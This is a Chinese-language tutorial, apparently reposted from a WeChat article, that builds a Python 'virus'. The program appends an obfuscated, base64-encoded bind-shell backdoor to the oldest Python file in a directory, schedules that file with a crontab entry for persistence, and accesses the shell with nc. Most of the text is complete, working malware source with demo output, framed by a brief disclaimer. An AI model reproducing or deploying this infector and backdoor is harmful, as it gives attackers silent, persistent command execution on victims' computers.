大家好,抱歉偷懶了幾天,最近的作息也逐漸規律起來,更新也會盡量在早上 7 點前發出。接下來的日子里,讓我們繼續玩轉 Python。
今天的文章來展示一個 Python“病毒”,它感染其他 Python 文件來創建一個后門。后門利用 Python 的內置 socket 模塊來創建一個監聽器,用來連接到 Python 的內置子進程模塊,從而靶機上執行命令,同時還通過創建一個 cronjob 來建立持久性,以在每天固定的時間運行后門。最終完整的 Python 腳本包含在本文末尾。注意:請不要將本文中提供的 Python 腳本用于惡意目的。雖然它不先進,但經過一些修改,它可以讓完全控制某人的計算機。本文的主要目的是通過這些腳本,更好地了解黑客如何獲取正常程序并使它們成為惡意程序。
話不多說,讓我們開始吧。
1、建立通信
任何后門最重要的部分都是建立通信。現在,讓我們為后門訪問編寫一段代碼。通過 TCP 連接到靶機,我們使用套接字模塊監聽黑客的連接請求。在 socket 模塊中,有一個函數也稱為 socket,我們可以使用它來創建 TCP 或 UDP 套接字。使用 socket.socket 函數創建套接字時,我們需要提供兩個參數來指定我們要使用的 IP 版本和第 4 層協議。在這個 Python 腳本中,我們將傳入以下參數:socket.AF_INET 和 socket.SOCK_STREAM。
- AF_INET : 指定 IPv4
- SOCK_STREAM :指定 TCP 而不是 UDP。
- socket.socket 函數返回一個對象,該對象由最終確定正在創建的套接字是偵聽套接字(服務器)還是連接套接字(客戶端)的方法組成。要創建偵聽套接字,需要使用以下方法:
- bind > 將 IP 地址和端口綁定到網絡接口
- listen > 指示我們的套接字開始監聽傳入的連接
- accept > 接受傳入連接
- recv > 從連接的客戶端接收數據
- send > 向連接的客戶端發送數據
然而,最重要的方法是 recv 和 send。recv 方法會接收來自攻擊者的命令,使用 subproces.run 函數在受害者的系統上執行它們,然后將執行命令的標準輸出重定向到與攻擊者建立的 TCP 連接。下面是 Python 代碼:
- from socket import socket, AF_INET, SOCK_STREAM
- from subprocess import run, PIPE
- from os import _exit
- def serve():
- with socket(AF_INET, SOCK_STREAM) as soc:
- # [*] The obfuscated values are just the IP address and port to bind to
- soc.bind((ip, 端口))
- soc.listen(5)
- while True:
- conn, _ = soc.accept()
- while True:
- cmd = conn.recv(1024).decode("utf-8").strip()
- cmd_output = run(cmd.split(), stdout=PIPE, stderr=PIPE)
- if cmd_output.returncode == 0:
- conn.send(bytes(cmd_output.stdout))
- else:
- continue
- serve()
2、感染目標 Python 文件
這段程序通過遍歷指定目錄(最好是用戶的主目錄)并查找修改時間最早的 Python 腳本。這里是測試,因此不是感染所有 Python 文件,而僅感染修改時間最早的文件。感染一個 Python 文件對于控制靶機來說已經夠了。
- def MTRkYmNubWx(self):
- YWJyZmFm = "/" if self.bGpqZ2hjen == "Linux" else "\\"
- for Z3Jvb3RhbGZq, _, _ in walk(self.cHlkYWNhZWFpa):
- for f in glob(Z3Jvb3RhbGZq + YWJyZmFm + "*.py"):
- if f == Z3Jvb3RhbGZq + YWJyZmFm + __file__:
- continue
- eHhtbG1vZGF0 = stat(f).st_mtime
- ZHRmbGNhbW9k = datetime.fromtimestamp(eHhtbG1vZGF0)
- if not self.Z2hhenh4ZGwK:
- self.Z2hhenh4ZGwK = (f, ZHRmbGNhbW9k)
- elif ZHRmbGNhbW9k < self.Z2hhenh4ZGwK[1]:
- self.Z2hhenh4ZGwK = (f, ZHRmbGNhbW9k)
- self.dGVyeXB6Y2FjeH(self.Z2hhenh4ZGwK[0])
上述代碼的部分變量使用了混淆,讓人不易看懂,其實很簡單,就是使用 os 模塊中定義的 walk 和 stat 函數來遍歷目錄文件并獲取它們的修改時間。獲得的每個文件的修改時間被轉換為 datetime.datetime 對象,以便我們可以使用 > < 和 == 等運算符輕松比較日期。在這個函數的最后,選定的目標 Python 文件名被傳遞到將后門服務器代碼注入其中的函數。
3、通過 crontab 任務來持久化
這個 Python 后門的最后一個函數使用 subprocess.run 函數來調用一個 Linux shell 命令,該命令將在當前用戶的 crontab 文件中創建一個條目。此條目指定計劃的 cronjob 應在每天 14:00 定時運行。添加 crontab 對應的 shell 命令如下:
- echo '00 14 * * * file_name | crontab -
然后我們讓 Python 把上一步感染的文件添加到 crontab 中:
- def YWZhdGhjCg(self):
- if self.bGpqZ2hjen == "Linux":
- run(f"echo '00 14 * * * {self.Z2hhenh4ZGwK[0]}' | crontab -", shell=True)
4、最終的完整代碼
- #!/usr/bin/env python3
- from os.path import expanduser
- from os import walk, stat
- from sys import path
- from glob import glob
- from platform import system
- from base64 import b64encode, b64decode
- from subprocess import run, PIPE
- from datetime import datetime
- class eHhjemR5eXB:
- def __init__(self, cHlkYWNhZWFpa):
- self.cHlkYWNhZWFpa = cHlkYWNhZWFpa
- self.bGpqZ2hjen = system()
- self.aWFmYXRye = "0.0.0.0"
- self.ZmFsa2p0aGM = 0x401
- self.Z2hhenh4ZGwK = None
- def dGVyeXB6Y2FjeH(self, dGR6eGFteXBxC):
- YWxmanRob = b"from socket import socket, AF_INET, SOCK_STREAM"
- YWxmanRob += b"\nfrom subprocess import run, PIPE"
- YWxmanRob += b"\ndef serve():"
- YWxmanRob += b"\n\twith socket(AF_INET, SOCK_STREAM) as soc:"
- YWxmanRob += bytes(
- f'\n\t\tsoc.bind(("{self.aWFmYXRye}", {self.ZmFsa2p0aGM}))', "utf-8"
- )
- YWxmanRob += b"\n\t\tsoc.listen(5)"
- YWxmanRob += b"\n\t\twhile True:"
- YWxmanRob += b"\n\t\t\tconn, _ = soc.accept()"
- YWxmanRob += b"\n\t\t\twhile True:"
- YWxmanRob += b'\n\t\t\t\tcmd = conn.recv(1024).decode("utf-8").strip()'
- YWxmanRob += (
- b"\n\t\t\t\tcmd_output = run(cmd.split(), stdout=PIPE, stderr=PIPE)"
- )
- YWxmanRob += b"\n\t\t\t\tif cmd_output.returncode == 0:"
- YWxmanRob += b"\n\t\t\t\t\tconn.send(bytes(cmd_output.stdout))"
- YWxmanRob += b"\n\t\t\t\telse: continue"
- YWxmanRob += b"\nserve()"
- YWxmanRob_base64 = b64encode(YWxmanRob)
- cXBxZXJjYQ = "\n" * 0x2 + "from subprocess import run\n"
- cXBxZXJjYQ += 'run("""python3 -c "from binascii import a2b_base64;'
- cXBxZXJjYQ += 'exec(a2b_base64(\'{}\'))" &""",shell=True)'.format(
- YWxmanRob_base64.decode()
- )
- with open(dGR6eGFteXBxC, "a") as f:
- f.write(cXBxZXJjYQ)
- self.ZmFsa2p0aGM += 1
- def MTRkYmNubWx(self):
- YWJyZmFm = "/" if self.bGpqZ2hjen == "Linux" else "\\"
- for Z3Jvb3RhbGZq, _, _ in walk(self.cHlkYWNhZWFpa):
- for f in glob(Z3Jvb3RhbGZq + YWJyZmFm + "*.py"):
- if f == Z3Jvb3RhbGZq + YWJyZmFm + __file__:
- continue
- eHhtbG1vZGF0 = stat(f).st_mtime
- ZHRmbGNhbW9k = datetime.fromtimestamp(eHhtbG1vZGF0)
- if not self.Z2hhenh4ZGwK:
- self.Z2hhenh4ZGwK = (f, ZHRmbGNhbW9k)
- elif ZHRmbGNhbW9k < self.Z2hhenh4ZGwK[1]:
- self.Z2hhenh4ZGwK = (f, ZHRmbGNhbW9k)
- self.dGVyeXB6Y2FjeH(self.Z2hhenh4ZGwK[0])
- def YWZhdGhjCg(self):
- if self.bGpqZ2hjen == "Linux":
- run(f"echo '37 13 * * * {self.Z2hhenh4ZGwK[0]}' | crontab -", shell=True)
- if __name__ == "__main__":
- # For traversing the user's home directory
- # aGdsZGFx = expanduser('~')
- # YmNjLGFka2x = eHhjemR5eXB(aGdsZGFx)
- YmNjLGFka2x = eHhjemR5eXB("./test")
- YmNjLGFka2x.MTRkYmNubWx()
- YmNjLGFka2x.YWZhdGhjCg()
在靶機執行該代碼后,會感染 ./test 目錄中最早修改的文件(目標文件),會自動在目標文件的最后添加這兩行代碼:
- from subprocess import run
- run("""python3 -c "from binascii import a2b_base64;exec(a2b_base64('ZnJvbSBzb2NrZXQgaW1wb3J0IHNvY2tldCwgQUZfSU5FVCwgU09DS19TVFJFQU0KZnJvbSBzdWJwcm9jZXNzIGltcG
是不是非常隱蔽?
5、訪問后門
為了測試,我們手動執行下感染的文件,而不是等待 crontab。
- ~ # crontab -l
- 37 13 * * * /root/transferfile/transfile_interface.py
- ~ # cd transferfile/
- ~/transferfile # python transfile_interface.py
- ~/transferfile #
程序正常結束,沒有任何異常。然后使用 nc localhost 1025 來反彈一個 shell,在這里執行 ls, whoami 就是靶機的信息了:
這里演示的 localhost 即為靶機,真實場景下就是靶機的 ip 地址。現在靶機已經完全被控制了,而受害者完全不知情。
最后的話
現在,你已經學習了如何使用 Python 編程語言創建持久性后門,學習了如何使用 Python 的 socket 模塊、如何遍歷目錄以及如何創建 crontab 任務。如果要感染真實靶機,還要學會如何分發這個后門程序,這里不做探討。
原文鏈接:https://mp.weixin.qq.com/s/6KvZD03JTGor8Aqx0C83ig